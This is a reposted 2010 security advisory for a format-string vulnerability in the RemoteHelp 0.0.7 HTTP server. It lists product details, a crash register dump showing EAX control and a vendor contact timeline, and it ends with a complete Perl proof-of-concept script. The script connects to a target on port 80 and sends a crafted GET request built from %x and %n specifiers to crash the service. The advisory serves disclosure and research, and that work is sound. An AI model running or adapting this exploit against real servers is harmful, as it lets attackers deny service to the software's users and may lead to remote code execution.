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RemoteHelp v0.0.7 Denial of Service Exploit
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来源：http://www.corelan.be:8800 作者：Rick2600 发布时间：2010-03-23
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===========================================
RemoteHelp v0.0.7 Denial of Service Exploit
===========================================
0x00 : Vulnerability information
--------------------------------
[*] Product : RemoteHelp
[*] Version : 0.0.7
[*] Vendor : http://hipernes.sdf-eu.org/
[*] URL : http://hipernes.sdf-eu.org/
[*] URL : http://www.softpedia.com/progDownload/Remote-Help-Download-144888.html
[*] URL : http://sourceforge.net/projects/remotehelp
[*] Platform : Windows XP
[*] Type of vulnerability : Format String
[*] Risk rating : Low/Medium
[*] Issue fixed in version : Unknown
[*] Vulnerability discovered by : Rick2600
[*] Corelan Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/
0x01 : Vendor description of software
-------------------------------------
>From the vendor website:
RemoteHelp is a minimal http server that allows to view and control a remote pc running a 32-bits
version of Microsoft Windows. It is only one file without any configuration file and now include
webcam support, new interface and new features...
0x02 : Vulnerability details
----------------------------
The discovered vulnerability allows an attacker to cause denial of service in the aplication by sending a
malicious request containing format string specifier. Remote code execution may be possible.
EAX 41424344
ECX 00E7F818
EDX 00000000
EBX 0000006E
ESP 00D3F2FC ASCII "0000000000000..."
EBP 00D3F550
ESI 00000001
EDI 00D3FE27 ASCII "XDCBA>"
EIP 00414DFC httpd_0_.00414DFC
0x03 : Vendor communication
---------------------------
01 feb 2010 : Vendor contacted - no reply
20 mar 2010 : Public disclosure
0x04 : Exploit/PoC
------------------
# Exploit Title : Remote Help 0.0.7 Remote DoS
# Date : 20 Mar 2010
# Author : Rick2600 (ricks2600[at]gmail{dot}com)
# Bug found by : Rick2600
# Software Link : http://www.softpedia.com/progDownload/Remote-Help-Download-144888.html
# Version : 0.0.7
# OS : Windows
# Tested on : XP SP2 En
# Type of vuln : DoS
# Greetz to : Corelan Security Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
#
# Code :
print "|------------------------------------------------------------------|\n";
print "| __ __ |\n";
print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |\n";
print "| / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/ |\n";
print "| |\n";
print "| http://www.corelan.be:8800 |\n";
print "| |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] DoS exploit for Remote Help 0.0.7 Http\n";
use IO::Socket;
if ($#ARGV != 0) {
print $#ARGV;
print "\n usage: $0 <targetip>\n";
exit(0);
}
print "[+] Connecting to server $ARGV[0] on port 80\n\n";
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $ARGV[0],
PeerPort => "http(80)",
);
unless ($remote) { die "Cannot connect to Remote Help daemon on $ARGV[0]\n" }
print "[+] Connected!\n";
#CONTROL EAX
$payload = "/index.html" . "%x" x 90 . "A" x 250 . "%x" x 186 ."%.999999x" x 15 ."%.199999x" . "%nX" . "DCBA";
print "[+] Sending Malicious Request\n";
print $remote "GET $payload HTTP/1.1\r\n";
close $remote;
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